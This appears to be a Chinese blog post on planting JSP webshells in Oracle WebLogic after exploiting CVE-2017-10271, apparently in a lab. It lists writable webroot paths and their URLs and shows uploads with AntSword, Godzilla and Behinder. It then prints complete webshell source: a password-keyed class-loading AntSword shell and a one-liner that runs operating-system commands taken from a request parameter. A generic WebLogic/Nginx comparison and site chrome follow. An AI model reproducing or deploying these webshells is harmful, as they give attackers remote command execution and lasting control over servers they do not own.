weblogic快速传jsp木马


以CVE-2017-10271测试,遗憾的是冰蝎jsp无法成功,冰蝎更换版本之后成功

1 上传路径

绝对路径和访问路径
方式1

  • /root/Oracle/Middleware/wlserver_10.3/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/123.jsp
    在这里插入图片描述

  • http://192.168.3.133:7001/console/framework/skins/wlsconsole/images/123.jsp
    在这里插入图片描述

方式2

  • /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/uddiexplorer/123/test.jsp

  • http://...:7001/uddiexplorer/shell.jsp
    没有uddiexplorer,此路不通
    在这里插入图片描述

方式3

  • /root/Oracle/Middleware/user_projects/domains/application/servers/AdminServer/tmp/_WL_user/项目名/随机字符/war/shell.jsp
  • http://...:7001/项目名/shell.jsp
    没有application,此路不通
    在这里插入图片描述

2 上传方式

(1)测试支持jsp

利用这里的shell上传测试
/root/Oracle/Middleware/wlserver_10.3/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/test.jsp

<% out.print(“test”); %>
在这里插入图片描述
查看对应目录
ls /root/Oracle/Middleware/wlserver_10.3/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/

在这里插入图片描述
访问,证明支持jsp
http://192.168.3.133:7001/console/framework/skins/wlsconsole/images/test.jsp
在这里插入图片描述

(2)蚁剑

之前同样的方法
在这里插入图片描述

在这里插入图片描述

(3)哥斯拉

哥斯拉可以自己生成jsp马,使用之前的方法上传

在这里插入图片描述
默认生成的就是jsp马
在这里插入图片描述
在这里插入图片描述

(4)一句话

上传文末的jsp一句话
在这里插入图片描述
http://192.168.3.133:7001/console/framework/skins/wlsconsole/images/yijuhua.jsp
在这里插入图片描述

(5)冰蝎

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3 甜点

  • 不支持的情况,写了一个php马,直接回显出来
    在这里插入图片描述

  • 蚁剑jsp马,密码passwd

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>
  • 一句话jsp
<%
     if("123".equals(request.getParameter("pwd"))){
         java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
         }
        out.print("</pre>");
    }
%>
  • 参考链接
    https://blog.csdn.net/weixin_30883311/article/details/99261700
  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
WebLogic和Nginx是两种常用的网络服务器软件。 WebLogic是由Oracle开发的Java应用服务器,用于部署和管理企业级Java应用程序。它提供了一个强大的、可靠的平台,用于开发、测试和部署Java EE(Java Enterprise Edition)应用程序。WebLogic支持广泛的Java EE技术和规范,包括EJB(Enterprise JavaBeans)、JSP(JavaServer Pages)、Servlets、JMS(Java Message Service)和JDBC(Java Database Connectivity)等。它还提供了可靠性、弹性和可伸缩性,以满足大型企业环境中的高负载和高可用性需求。 Nginx是一个开源的高性能Web服务器和反向代理服务器。它主要用于提供静态资源的高速访问和反向代理,同时也支持负载均衡、SSL/TLS终止、HTTP缓存、HTTP视频流和分布式缓存等功能。Nginx通常用作Web服务器的前端,将客户端请求转发给后端的应用服务器。它具有轻量级、高并发处理能力和低内存消耗的特点,适用于高流量和高负载环境。 在一些大型企业的架构中,WebLogic和Nginx可以同时部署在一个系统中,互相配合使用。Nginx作为Web服务器的前端,负责处理静态资源的请求和负载均衡的功能,将动态请求转发给后端的WebLogic服务器进行处理。这样可以充分利用Nginx的高性能和轻量级特点,并通过WebLogic的强大功能和企业级支持来处理Java应用程序的请求。 总结起来,WebLogic和Nginx是两种在不同领域中都非常有用的网络服务器软件。WebLogic适用于部署和管理Java企业级应用程序,而Nginx则适用于处理高性能和负载均衡的静态资源和动态请求。将它们结合使用可以提高系统的性能和可伸缩性,满足不同场景下的需求。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值